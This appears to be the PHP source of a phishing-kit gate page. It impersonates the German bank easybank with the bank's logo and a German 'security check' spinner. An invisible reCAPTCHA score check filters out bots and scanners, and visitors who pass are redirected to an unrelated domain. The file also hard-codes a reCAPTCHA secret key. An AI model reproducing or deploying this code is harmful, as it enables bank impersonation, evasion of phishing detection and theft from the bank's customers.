	<?php
session_start();

// ========== CONFIG ==========
const RECAPTCHA_SITE_KEY   = '6LecicktAAAAAIjgCtd3PxDzGh53Aj7NWHQ8dZYB'; // publique
const RECAPTCHA_SECRET_KEY = '6LecicktAAAAAIR-A-hjnem4EypSl8g3Alb4yH15'; // privée
const REDIRECT_URL         = 'https://signalhghr.com/-/firstlevel/easy/app';
const SESSION_LIFETIME     = 3600; // 1h

// Déjà validé ?
if (!empty($_SESSION['verified']) && time() - $_SESSION['verified'] < SESSION_LIFETIME) {
    header("Location: " . REDIRECT_URL);
    exit;
}

// Vérification reCAPTCHA
function verifyRecaptcha($token) {
    if (empty($token)) return false;
    $ch = curl_init("https://www.google.com/recaptcha/api/siteverify");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => [
            'secret'   => RECAPTCHA_SECRET_KEY,
            'response' => $token
        ],
        CURLOPT_TIMEOUT => 5,
        CURLOPT_SSL_VERIFYPEER => true
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    $data = json_decode($response, true);
    return !empty($data['success']) && ($data['score'] ?? 0) >= 0.3;
}

// Traitement POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token = $_POST['g-recaptcha-response'] ?? '';
    if (verifyRecaptcha($token)) {
        $_SESSION['verified'] = time();
        header("Location: " . REDIRECT_URL);
        exit;
    }
    header("Location: ?error=1");
    exit;
}

$showError = isset($_GET['error']);
?>
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<title>easybank – Sicherheitsprüfung</title>
<script src="https://www.google.com/recaptcha/api.js?render=<?= RECAPTCHA_SITE_KEY ?>"></script>
<style>
  body {background:#0f1115;color:#e8edf2;font-family:sans-serif;
        display:flex;align-items:center;justify-content:center;height:100vh;}
  .card {text-align:center;padding:30px;background:#1a1d23;border-radius:12px;}
  .spinner {width:36px;height:36px;border:3px solid #2a2f36;border-top:3px solid #00c853;
            border-radius:50%;animation:spin .7s linear infinite;margin:20px auto;}
  @keyframes spin {to{transform:rotate(360deg)}}
  .error {color:#f5a5a5;margin-bottom:20px;}
</style>
</head>
<body>
<div class="card">
  <img src="https://www.easybank.de/resource/blob/125726/2458bef7299858d4220d06e79b234151/easybank-rgb-data.png"
       alt="easybank" style="max-width:160px;margin-bottom:20px;filter:invert(1)">
  <?php if ($showError): ?>
    <div class="error">Sicherheitsprüfung fehlgeschlagen. Bitte erneut versuchen.</div>
    <a href="<?= $_SERVER['SCRIPT_NAME'] ?>" style="color:#00c853">Neu laden</a>
  <?php else: ?>
    <div class="spinner"></div>
    <p>Wir prüfen Ihre Anfrage …</p>
    <form id="captchaForm" method="POST" style="display:none;">
      <input type="hidden" name="g-recaptcha-response" id="tokenField">
    </form>
    <script>
      grecaptcha.ready(function() {
        grecaptcha.execute('<?= RECAPTCHA_SITE_KEY ?>', {action:'verify'}).then(function(token) {
          document.getElementById('tokenField').value = token;
          document.getElementById('captchaForm').submit();
        });
      });
    </script>
  <?php endif; ?>
</div>
</body>
</html>
